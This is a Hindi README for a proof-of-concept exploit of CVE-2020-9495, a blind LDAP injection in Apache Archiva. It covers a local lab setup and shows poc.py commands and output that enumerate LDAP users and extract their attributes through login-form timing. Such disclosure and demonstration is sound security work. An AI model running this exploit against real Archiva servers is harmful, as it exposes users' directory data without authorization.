
CVE-2020-9495 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Apache Archiva में एक LDAP इंजेक्शन भेद्यता। यह LDAP उपयोगकर्ताओं की गणना करता है और ब्लाइंड इंजेक्शन के माध्यम से मनमानी विशेषता मानों को बाहर निकालता है।
CVE-2020-9495 एक मध्यम गंभीरता का LDAP इंजेक्शन भेद्यता है Apache Archiva के 2.2.5 से पहले के संस्करणों में। यह एक हमलावर को LDAP सर्वर पर मौजूद उपयोगकर्ताओं के किसी भी LDAP गुण मान प्राप्त करने की अनुमति देता है।
आधिकारिक Apache Archiva सलाह से:
archiva लॉगिन फॉर्म में विशेष मान प्रदान करके एक हमलावर कनेक्टेड LDAP सर्वर से उपयोगकर्ता गुण डेटा प्राप्त कर सकता है। कुछ वर्णों के साथ कनेक्टेड LDAP सर्वर पर उपयोगकर्ताओं को क्वेरी करने के लिए उपयोग किए जाने वाले LDAP फिल्टर को संशोधित करना संभव है। प्रतिक्रिया समय को मापकर, LDAP उपयोगकर्ता वस्तुओं से मनमाना गुण डेटा प्राप्त किया जा सकता है।
poc.py स्क्रिप्ट दर्शाती है कि कैसे एक अनधिकृत हमलावर Archiva के साथ एकीकृत LDAP सर्वर पर उपयोगकर्ताओं की गणना कर सकता है और किसी भी उपयोगकर्ता के किसी भी गुण का मान प्राप्त कर सकता है।
यदि आपके पास पहले से ही LDAP प्रमाणीकरण सक्षम Archiva सर्वर है तो इस चरण को छोड़ें।
Archiva 2.2.4 डाउनलोड करें और इसे निकालें
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
OpenLDAP सर्वर चलाएं
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
users.ldif से LDAP में उपयोगकर्ताओं को आयात करें
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Archiva सर्वर चलाएं
$ bin/archiva console
वेब इंटरफ़ेस के माध्यम से LDAP प्रमाणीकरण सक्षम और कॉन्फ़िगर करें
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 उपयोगकर्ता के LDAP गुणों के मान प्राप्त करें$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last